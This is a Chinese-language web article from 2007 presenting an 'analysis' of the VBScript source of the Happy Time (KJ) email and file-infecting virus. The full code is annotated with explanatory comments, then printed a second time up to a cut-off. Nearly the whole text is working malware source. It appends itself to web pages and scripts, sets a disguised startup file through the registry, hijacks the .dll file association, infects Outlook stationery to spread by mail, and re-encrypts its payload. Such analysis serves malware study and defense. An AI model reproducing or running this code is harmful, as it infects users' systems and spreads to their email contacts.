新歡樂時光代碼分析
更新時間：2007年02月07日 00:00:00 作者：
<%
Dim InWhere, HtmlText, VbsText, DegreeSign, AppleObject, FSO, WsShell, WinPath, SubE, FinalyDisk
Sub KJ_start()
' 初始化變量
KJSetDim()
' 初始化環(huán)境
KJCreateMilieu()
' 感染本地或者共享上與html所在目錄
KJLikeIt()
' 通過vbs感染Outlook郵件模板
KJCreateMail()
' 進行病毒傳播
KJPropagate()
End Sub
' 函數(shù)：KJAppendTo(FilePath,TypeStr)
' 功能：向指定類型的指定文件追加病毒
' 參數(shù)：
' FilePath 指定文件路徑
' TypeStr 指定類型
Function KJAppendTo(FilePath, TypeStr)
On Error Resume Next
' 以只讀方式打開指定文件
Set ReadTemp = FSO.OpenTextFile(FilePath, 1)
' 將文件內容讀入到TmpStr變量中
TmpStr = ReadTemp.ReadAll
' 判斷文件中是否存在"KJ_start()"字符串，若存在說明已經感染，退出函數(shù)；
' 若文件長度小于1，也退出函數(shù)。
If InStr(TmpStr, "KJ_start()") <> 0 Or Len(TmpStr) < 1 Then
ReadTemp.Close
Exit Function
End If
' 如果傳過來的類型是"htt"
' 在文件頭加上調用頁面的時候加載KJ_start()函數(shù);
' 在文件尾追加html版本的加密病毒體。
' 如果是"html"
' 在文件尾追加調用頁面的時候加載KJ_start()函數(shù)和html版本的病毒體;
' 如果是"vbs"
' 在文件尾追加vbs版本的病毒體
If TypeStr = "htt" Then
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath, 2)
FileTemp.Write "<" & "BODY onload="""
& "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
FileTemp.Close
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.Attributes = 34
Else
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath, 8)
If TypeStr = "html" Then
FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<"
& "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
ElseIf TypeStr = "vbs" Then
FileTemp.Write vbCrLf & VbsText
End If
FileTemp.Close
End If
End Function
' 函數(shù)：KJChangeSub(CurrentString,LastIndexChar)
' 功能：改變子目錄以及盤符
' 參數(shù)：
' CurrentString 當前目錄
' LastIndexChar 上一級目錄在當前路徑中的位置
Function KJChangeSub(CurrentString, LastIndexChar)
' 判斷是否是根目錄
If LastIndexChar = 0 Then
' 如果是根目錄
' 如果是C:\，返回FinalyDisk盤，并將SubE置為0，
' 如果不是C:\，返回將當前盤符遞減1，并將SubE置為0
If Left(LCase(CurrentString), 1) = < LCase("c") Then
KJChangeSub = FinalyDisk & ":\"
SubE = 0
Else
KJChangeSub = Chr(Asc(Left(LCase(CurrentString), 1)) - 1) & ":\"
SubE = 0
End If
Else
' 如果不是根目錄，則返回上一級目錄名稱
KJChangeSub = Mid(CurrentString, 1, LastIndexChar)
End If
End Function
' 函數(shù)：KJCreateMail()
' 功能：感染郵件部分
Function KJCreateMail()
On Error Resume Next
' 如果當前執(zhí)行文件是"html"的，就退出函數(shù)
If InWhere = "html" Then
Exit Function
End If
' 取系統(tǒng)盤的空白頁的路徑
ShareFile = Left(WinPath, 3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm"
' 如果存在這個文件，就向其追加html的病毒體
' 否則生成含有病毒體的這個文件
If (FSO.FileExists(ShareFile)) Then
Call KJAppendTo(ShareFile, "html")
Else
Set FileTemp = FSO.OpenTextFile(ShareFile, 2, true)
FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
FileTemp.Close
End If
' 取得當前用戶的ID和OutLook的版本
DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")
OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer")
' 激活信紙功能，并感染所有信紙
WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion, 1) &".0\Mail\Compose Use Stationery", 1, "REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion, 1) &".0\Mail\Stationery Name", ShareFile)
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion, 1) &".0\Mail\Wide Stationery Name", ShareFile)
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference", 131072, "REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360", "blank")
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360", "blank")
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference", 131072, "REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery", "blank")
KJummageFolder(Left(WinPath, 3) & "Program Files\Common Files\Microsoft Shared\Stationery")
End Function
' 函數(shù):KJCreateMilieu()
' 功能：創(chuàng)建系統(tǒng)環(huán)境
Function KJCreateMilieu()
On Error Resume Next
TempPath = ""
' 判斷操作系統(tǒng)是NT/2000還是9X
If Not(FSO.FileExists(WinPath & "WScript.exe")) Then
TempPath = "system32\"
End If
' 為了文件名起到迷惑性，并且不會與系統(tǒng)文件沖突。
' 如果是NT/2000則啟動文件為system\Kernel32.dll
' 如果是9x啟動文件則為system\Kernel.dll
If TempPath = "system32\" Then
StartUpFile = WinPath & "SYSTEM\Kernel32.dll"
Else
StartUpFile = WinPath & "SYSTEM\Kernel.dll"
End If
' 添加Run值，添加剛才生成的啟動文件路徑
WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32", StartUpFile
' 拷貝前期備份的文件到原來的目錄
FSO.CopyFile WinPath & "web\kjwall.gif", WinPath & "web\Folder.htt"
FSO.CopyFile WinPath & "system32\kjwall.gif", WinPath & "system32\desktop.ini"
' 向%windir%\web\Folder.htt追加病毒體
Call KJAppendTo(WinPath & "web\Folder.htt", "htt")
' 改變dll的MIME頭
' 改變dll的默認圖標
' 改變dll的打開方式
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\", "dllfile"
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type", "application/x-msdownload"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\", WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\", "VBScript"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\", WinPath & TempPath & "WScript.exe ""%1"" %*"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\", "{60254CA5-953B-11CF-8C96-00AA00B8708C}"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\", "{85131631-480C-11D2-B1F9-00C04F86C324}"
' 啟動時加載的病毒文件中寫入病毒體
Set FileTemp = FSO.OpenTextFile(StartUpFile, 2, true)
FileTemp.Write VbsText
FileTemp.Close
End Function
' 函數(shù)：KJLikeIt()
' 功能：針對html文件進行處理，如果訪問的是本地的或者共享上的文件，將感染這個目錄
Function KJLikeIt()
' 如果當前執(zhí)行文件不是"html"的就退出程序
If InWhere <> "html" Then
Exit Function
End If
' 取得文檔當前路徑
ThisLocation = document.location
' 如果是本地或網上共享文件
If Left(ThisLocation, 4) = "file" Then
ThisLocation = Mid(ThisLocation, 9)
' 如果這個文件擴展名不為空，在ThisLocation中保存它的路徑
If FSO.GetExtensionName(ThisLocation) <> "" Then
ThisLocation = Left(ThisLocation, Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))
End If
' 如果ThisLocation的長度大于3就尾追一個"\"
If Len(ThisLocation) > 3 Then
ThisLocation = ThisLocation & "\"
End If
' 感染這個目錄
KJummageFolder(ThisLocation)
End If
End Function
' 函數(shù)：KJMailReg(RegStr,FileName)
' 功能：如果注冊表指定鍵值不存在，則向指定位置寫入指定文件名
' 參數(shù)：
' RegStr 注冊表指定鍵值
' FileName 指定文件名
Function KJMailReg(RegStr, FileName)
On Error Resume Next
' 如果注冊表指定鍵值不存在，則向指定位置寫入指定文件名
RegTempStr = WsShell.RegRead(RegStr)
If RegTempStr = "" Then
WsShell.RegWrite RegStr, FileName
End If
End Function
' 函數(shù)：KJOboSub(CurrentString)
' 功能：遍歷并返回目錄路徑
' 參數(shù)：
' CurrentString 當前目錄
Function KJOboSub(CurrentString)
SubE = 0
TestOut = 0
Do While True
TestOut = TestOut + 1
If TestOut > 28 Then
CurrentString = FinalyDisk & ":\"
Exit Do
End If
On Error Resume Next
' 取得當前目錄的所有子目錄，并且放到字典中
Set ThisFolder = FSO.GetFolder(CurrentString)
Set DicSub = CreateObject("Scripting.Dictionary")
Set Folders = ThisFolder.SubFolders
FolderCount = 0
For Each TempFolder in Folders
FolderCount = FolderCount + 1
DicSub.Add FolderCount, TempFolder.Name
Next
' 如果沒有子目錄了，就調用KJChangeSub返回上一級目錄或者更換盤符，并將SubE置1
If DicSub.Count = 0 Then
LastIndexChar = InstrRev(CurrentString, "\", Len(CurrentString) -1)
SubString = Mid(CurrentString, LastIndexChar + 1, Len(CurrentString) - LastIndexChar -1)
CurrentString = KJChangeSub(CurrentString, LastIndexChar)
SubE = 1
Else
' 如果存在子目錄
' 如果SubE為0，則將CurrentString變?yōu)樗牡?個子目錄
If SubE = 0 Then
CurrentString = CurrentString & DicSub.Item(1) & "\"
Exit Do
Else
' 如果SubE為1，繼續(xù)遍歷子目錄，并將下一個子目錄返回
j = 0
For j = 1 To FolderCount
If LCase(SubString) = LCase(DicSub.Item(j)) Then
If j < FolderCount Then
CurrentString = CurrentString & DicSub.Item(j + 1) & "\"
Exit Do
End If
End If
Next
LastIndexChar = InstrRev(CurrentString, "\", Len(CurrentString) -1)
SubString = Mid(CurrentString, LastIndexChar + 1, Len(CurrentString) - LastIndexChar -1)
CurrentString = KJChangeSub(CurrentString, LastIndexChar)
End If
End If
Loop
KJOboSub = CurrentString
End Function
' 函數(shù)：KJPropagate()
' 功能：病毒傳播
Function KJPropagate()
On Error Resume Next
RegPathvalue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"
DiskDegree = WsShell.RegRead(RegPathvalue)
' 如果不存在Degree這個鍵值，DiskDegree則為FinalyDisk盤
If DiskDegree = "" Then
DiskDegree = FinalyDisk & ":\"
End If
' 繼DiskDegree置后感染5個目錄
For i = 1 To 5
DiskDegree = KJOboSub(DiskDegree)
KJummageFolder(DiskDegree)
Next
' 將感染記錄保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"鍵值中
WsShell.RegWrite RegPathvalue, DiskDegree
End Function
' 函數(shù)：KJummageFolder(PathName)
' 功能：感染指定目錄
' 參數(shù)：
' PathName 指定目錄
Function KJummageFolder(PathName)
On Error Resume Next
' 取得目錄中的所有文件集
Set FolderName = FSO.GetFolder(PathName)
Set ThisFiles = FolderName.Files
HttExists = 0
For Each ThisFile In ThisFiles
FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))
' 判斷擴展名
' 若是HTM,HTML,ASP,PHP,JSP則向文件中追加HTML版的病毒體
' 若是VBS則向文件中追加VBS版的病毒體
' 若是HTT,則標志為已經存在HTT了
If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then
Call KJAppendTo(ThisFile.Path, "html")
ElseIf FileExt = "VBS" Then
Call KJAppendTo(ThisFile.Path, "vbs")
ElseIf FileExt = "HTT" Then
HttExists = 1
End If
Next
' 如果所給的路徑是桌面，則標志為已經存在HTT了
If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then
HttExists = 1
End If
' 如果不存在HTT
' 向目錄中追加病毒體
If HttExists = 0 Then
FSO.CopyFile WinPath & "system32\desktop.ini", PathName
FSO.CopyFile WinPath & "web\Folder.htt", PathName
End If
End Function
' 函數(shù)KJSetDim()
' 定義FSO,WsShell對象
' 取得最后一個可用磁盤卷標
' 生成傳染用的加密字串
' 備份系統(tǒng)中的web\folder.htt和system32\desktop.ini
Function KJSetDim()
On Error Resume Next
Err.Clear
' 測試當前執(zhí)行文件是html還是vbs
TestIt = WScript.ScriptFullname
If Err Then
InWhere = "html"
Else
InWhere = "vbs"
End If
' 創(chuàng)建文件訪問對象和Shell對象
If InWhere = "vbs" Then
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WsShell = CreateObject("WScript.Shell")
Else
Set AppleObject = document.applets("KJ_guest")
AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
AppleObject.createInstance()
Set WsShell = AppleObject.GetObject()
AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
AppleObject.createInstance()
Set FSO = AppleObject.GetObject()
End If
Set DiskObject = FSO.Drives
' 判斷磁盤類型
'
' 0: Unknown
' 1: Removable
' 2: Fixed
' 3: Network
' 4: CD-ROM
' 5: RAM Disk
' 如果不是可移動磁盤或者固定磁盤就跳出循環(huán)?？赡茏髡呖紤]的是網絡磁盤、CD-ROM、RAM Disk都是在比較靠后的位置。呵呵，如果C:是RAMDISK會怎么樣？
For Each DiskTemp In DiskObject
If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then
Exit For
End If
FinalyDisk = DiskTemp.DriveLetter
Next
' 此前的這段病毒體已經解密，并且存放在ThisText中，現(xiàn)在為了傳播，需要對它進行再加密。
' 加密算法
Dim OtherArr(3)
Randomize
' 隨機生成4個算子
For i = 0 To 3
OtherArr(i) = Int((9 * Rnd))
Next
TempString = ""
For i = 1 To Len(ThisText)
TempNum = Asc(Mid(ThisText, i, 1))
'對回車、換行(0x0D,0x0A)做特別的處理
If TempNum = 13 Then
TempNum = 28
ElseIf TempNum = 10 Then
TempNum = 29
End If
'很簡單的加密處理，每個字符減去相應的算子，那么在解密的時候只要按照這個順序每個字符加上相應的算子就可以了。
TempChar = Chr(TempNum - OtherArr(i Mod 4))
If TempChar = Chr(34) Then
TempChar = Chr(18)
End If
TempString = TempString & TempChar
Next
' 含有解密算法的字串
UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"
' 將加密好的病毒體復制給變量 ThisText
ThisText = "ExeString = """ & TempString & """"
' 生成html感染用的腳本
HtmlText = "<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>"
' 生成vbs感染用的腳本
VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"
' 取得Windows目錄
' GetSpecialFolder(n)
' 0: WindowsFolder
' 1: SystemFolder
' 2: TemporaryFolder
' 如果系統(tǒng)目錄存在web\Folder.htt和system32\desktop.ini，則用kjwall.gif文件名備份它們。
WinPath = FSO.GetSpecialFolder(0) & "\"
If (FSO.FileExists(WinPath & "web\Folder.htt")) Then
FSO.CopyFile WinPath & "web\Folder.htt", WinPath & "web\kjwall.gif"
End If
If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then
FSO.CopyFile WinPath & "system32\desktop.ini", WinPath & "system32\kjwall.gif"
End If
End Function
%>
Dim InWhere, HtmlText, VbsText, DegreeSign, AppleObject, FSO, WsShell, WinPath, SubE, FinalyDisk
Sub KJ_start()
' 初始化變量
KJSetDim()
' 初始化環(huán)境
KJCreateMilieu()
' 感染本地或者共享上與html所在目錄
KJLikeIt()
' 通過vbs感染Outlook郵件模板
KJCreateMail()
' 進行病毒傳播
KJPropagate()
End Sub
' 函數(shù)：KJAppendTo(FilePath,TypeStr)
' 功能：向指定類型的指定文件追加病毒
' 參數(shù)：
' FilePath 指定文件路徑
' TypeStr 指定類型
Function KJAppendTo(FilePath, TypeStr)
On Error Resume Next
' 以只讀方式打開指定文件
Set ReadTemp = FSO.OpenTextFile(FilePath, 1)
' 將文件內容讀入到TmpStr變量中
TmpStr = ReadTemp.ReadAll
' 判斷文件中是否存在"KJ_start()"字符串，若存在說明已經感染，退出函數(shù)；
' 若文件長度小于1，也退出函數(shù)。
If InStr(TmpStr, "KJ_start()") <> 0 Or Len(TmpStr) < 1 Then
ReadTemp.Close
Exit Function
End If
' 如果傳過來的類型是"htt"
' 在文件頭加上調用頁面的時候加載KJ_start()函數(shù);
' 在文件尾追加html版本的加密病毒體。
' 如果是"html"
' 在文件尾追加調用頁面的時候加載KJ_start()函數(shù)和html版本的病毒體;
' 如果是"vbs"
' 在文件尾追加vbs版本的病毒體
If TypeStr = "htt" Then
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath, 2)
FileTemp.Write "<" & "BODY onload="""
& "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
FileTemp.Close
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.Attributes = 34
Else
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath, 8)
If TypeStr = "html" Then
FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<"
& "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
ElseIf TypeStr = "vbs" Then
FileTemp.Write vbCrLf & VbsText
End If
FileTemp.Close
End If
End Function
' 函數(shù)：KJChangeSub(CurrentString,LastIndexChar)
' 功能：改變子目錄以及盤符
' 參數(shù)：
' CurrentString 當前目錄
' LastIndexChar 上一級目錄在當前路徑中的位置
Function KJChangeSub(CurrentString, LastIndexChar)
' 判斷是否是根目錄
If LastIndexChar = 0 Then
' 如果是根目錄
' 如果是C:\，返回FinalyDisk盤，并將SubE置為0，
' 如果不是C:\，返回將當前盤符遞減1，并將SubE置為0
If Left(LCase(CurrentString), 1) = < LCase("c") Then
KJChangeSub = FinalyDisk & ":\"
SubE = 0
Else
KJChangeSub = Chr(Asc(Left(LCase(CurrentString), 1)) - 1) & ":\"
SubE = 0
End If
Else
' 如果不是根目錄，則返回上一級目錄名稱
KJChangeSub = Mid(CurrentString, 1, LastIndexChar)
End If
End Function
' 函數(shù)：KJCreateMail()
' 功能：感染郵件部分
Function KJCreateMail()
On Error Resume Next
' 如果當前執(zhí)行文件是"html"的，就退出函數(shù)
If InWhere = "html" Then
Exit Function
End If
' 取系統(tǒng)盤的空白頁的路徑
ShareFile = Left(WinPath, 3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm"
' 如果存在這個文件，就向其追加html的病毒體
' 否則生成含有病毒體的這個文件
If (FSO.FileExists(ShareFile)) Then
Call KJAppendTo(ShareFile, "html")
Else
Set FileTemp = FSO.OpenTextFile(ShareFile, 2, true)
FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
FileTemp.Close
End If
' 取得當前用戶的ID和OutLook的版本
DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")
OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer")
' 激活信紙功能，并感染所有信紙
WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion, 1) &".0\Mail\Compose Use Stationery", 1, "REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion, 1) &".0\Mail\Stationery Name", ShareFile)
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion, 1) &".0\Mail\Wide Stationery Name", ShareFile)
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference", 131072, "REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360", "blank")
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360", "blank")
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference", 131072, "REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery", "blank")
KJummageFolder(Left(WinPath, 3) & "Program Files\Common Files\Microsoft Shared\Stationery")
End Function
' 函數(shù):KJCreateMilieu()
' 功能：創(chuàng)建系統(tǒng)環(huán)境
Function KJCreateMilieu()
On Error Resume Next
TempPath = ""
' 判斷操作系統(tǒng)是NT/2000還是9X
If Not(FSO.FileExists(WinPath & "WScript.exe")) Then
TempPath = "system32\"
End If
' 為了文件名起到迷惑性，并且不會與系統(tǒng)文件沖突。
' 如果是NT/2000則啟動文件為system\Kernel32.dll
' 如果是9x啟動文件則為system\Kernel.dll
If TempPath = "system32\" Then
StartUpFile = WinPath & "SYSTEM\Kernel32.dll"
Else
StartUpFile = WinPath & "SYSTEM\Kernel.dll"
End If
' 添加Run值，添加剛才生成的啟動文件路徑
WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32", StartUpFile
' 拷貝前期備份的文件到原來的目錄
FSO.CopyFile WinPath & "web\kjwall.gif", WinPath & "web\Folder.htt"
FSO.CopyFile WinPath & "system32\kjwall.gif", WinPath & "system32\desktop.ini"
' 向%windir%\web\Folder.htt追加病毒體
Call KJAppendTo(WinPath & "web\Folder.htt", "htt")
' 改變dll的MIME頭
' 改變dll的默認圖標
' 改變dll的打開方式
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\", "dllfile"
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type", "application/x-msdownload"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\", WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\", "VBScript"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\", WinPath & TempPath & "WScript.exe ""%1"" %*"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\", "{60254CA5-953B-11CF-8C96-00AA00B8708C}"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\", "{85131631-480C-11D2-B1F9-00C04F86C324}"
' 啟動時加載的病毒文件中寫入病毒體
Set FileTemp = FSO.OpenTextFile(StartUpFile, 2, true)
FileTemp.Write VbsText
FileTemp.Close
End Function
' 函數(shù)：KJLikeIt()
' 功能：針對html文件進行處理，如果訪問的是本地的或者共享上的文件，將感染這個目錄
Function KJLikeIt()
' 如果當前執(zhí)行文件不是"html"的就退出程序
If InWhere <> "html" Then
Exit Function
End If
' 取得文檔當前路徑
ThisLocation = document.location
' 如果是本地或網上共享文件
If Left(ThisLocation, 4) = "file" Then
ThisLocation = Mid(ThisLocation, 9)
' 如果這個文件擴展名不為空，在ThisLocation中保存它的路徑
If FSO.GetExtensionName(ThisLocation) <> "" Then
ThisLocation = Left(ThisLocation, Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))
End If
' 如果ThisLocation的長度大于3就尾追一個"\"
If Len(ThisLocation) > 3 Then
ThisLocation = ThisLocation & "\"
End If
' 感染這個目錄
KJummageFolder(ThisLocation)
End If
End Function
' 函數(shù)：KJMailReg(RegStr,FileName)
' 功能：如果注冊表指定鍵值不存在，則向指定位置寫入指定文件名
' 參數(shù)：
' RegStr 注冊表指定鍵值
' FileName 指定文件名
Function KJMailReg(RegStr, FileName)
On Error Resume Next
' 如果注冊表指定鍵值不存在，則向指定位置寫入指定文件名
RegTempStr = WsShell.RegRead(RegStr)
If RegTempStr = "" Then
WsShell.RegWrite RegStr, FileName
End If
End Function
' 函數(shù)：KJOboSub(CurrentString)
' 功能：遍歷并返回目錄路徑
' 參數(shù)：
' CurrentString 當前目錄
Function KJOboSub(CurrentString)
SubE = 0
TestOut = 0
Do While True
TestOut = TestOut + 1
If TestOut > 28 Then
CurrentString = FinalyDisk & ":\"
Exit Do
End If
On Error Resume Next
' 取得當前目錄的所有子目錄，并且放到字典中
Set ThisFolder = FSO.GetFolder(CurrentString)
Set DicSub = CreateObject("Scripting.Dictionary")
Set Folders = ThisFolder.SubFolders
FolderCount = 0
For Each TempFolder in Folders
FolderCount = FolderCount + 1
DicSub.Add FolderCount, TempFolder.Name
Next
' 如果沒有子目錄了，就調用KJChangeSub返回上一級目錄或者更換盤符，并將SubE置1
If DicSub.Count = 0 Then
LastIndexChar = InstrRev(CurrentString, "\", Len(CurrentString) -1)
SubString = Mid(CurrentString, LastIndexChar + 1, Len(CurrentString) - LastIndexChar -1)
CurrentString = KJChangeSub(CurrentString, LastIndexChar)
SubE = 1
Else
' 如果存在子目錄
' 如果SubE為0，則將CurrentString變?yōu)樗牡?個子目錄
If SubE = 0 Then
CurrentString = CurrentString & DicSub.Item(1) & "\"
Exit Do
Else
' 如果SubE為1，繼續(xù)遍歷子目錄，并將下一個子目錄返回
j = 0
For j = 1 To FolderCount
If LCase(SubString) = LCase(DicSub.Item(j)) Then
If j < FolderCount Then
CurrentString = CurrentString & DicSub.Item(j + 1) & "\"
Exit Do
End If
End If
Next
LastIndexChar = InstrRev(CurrentString, "\", Len(CurrentString) -1)
SubString = Mid(CurrentString, LastIndexChar + 1, Len(CurrentString) - LastIndexChar -1)
CurrentString = KJChangeSub(CurrentString, LastIndexChar)
End If
End If
Loop
KJOboSub = CurrentString
End Function
' 函數(shù)：KJPropagate()
' 功能：病毒傳播
Function KJPropagate()
On Error Resume Next
RegPathvalue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"
DiskDegree = WsShell.RegRead(RegPathvalue)
' 如果不存在Degree這個鍵值，DiskDegree則為FinalyDisk盤
If DiskDegree = "" Then
DiskDegree = FinalyDisk & ":\"
End If
' 繼DiskDegree置后感染5個目錄
For i = 1 To 5
DiskDegree = KJOboSub(DiskDegree)
KJummageFolder(DiskDegree)
Next
' 將感染記錄保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"鍵值中
WsShell.RegWrite RegPathvalue, DiskDegree
End Function
' 函數(shù)：KJummageFolder(PathName)
' 功能：感染指定目錄
' 參數(shù)：
' PathName 指定目錄
Function KJummageFolder(PathName)
On Error Resume Next
' 取得目錄中的所有文件集
Set FolderName = FSO.GetFolder(PathName)
Set ThisFiles = FolderName.Files
HttExists = 0
For Each ThisFile In ThisFiles
FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))
' 判斷擴展名
' 若是HTM,HTML,ASP,PHP,JSP則向文件中追加HTML版的病毒體
' 若是VBS則向文件中追加VBS版的病毒體
' 若是HTT,則標志為已經存在HTT了
If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then
Call KJAppendTo(ThisFile.Path, "html")
ElseIf FileExt = "VBS" Then
Call KJAppendTo(ThisFile.Path, "vbs")
ElseIf FileExt = "HTT" Then
HttExists = 1
End If
Next
' 如果所給的路徑是桌面，則標志為已經存在HTT了
If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then
HttExists = 1
End If
' 如果不存在HTT
' 向目錄中追加病毒體
If HttExists = 0 Then
FSO.CopyFile WinPath & "system32\desktop.ini", PathName
FSO.CopyFile WinPath & "web\Folder.htt", PathName
End If
End Function
' 函數(shù)KJSetDim()
' 定義FSO,WsShell對象
' 取得最后一個可用磁盤卷標
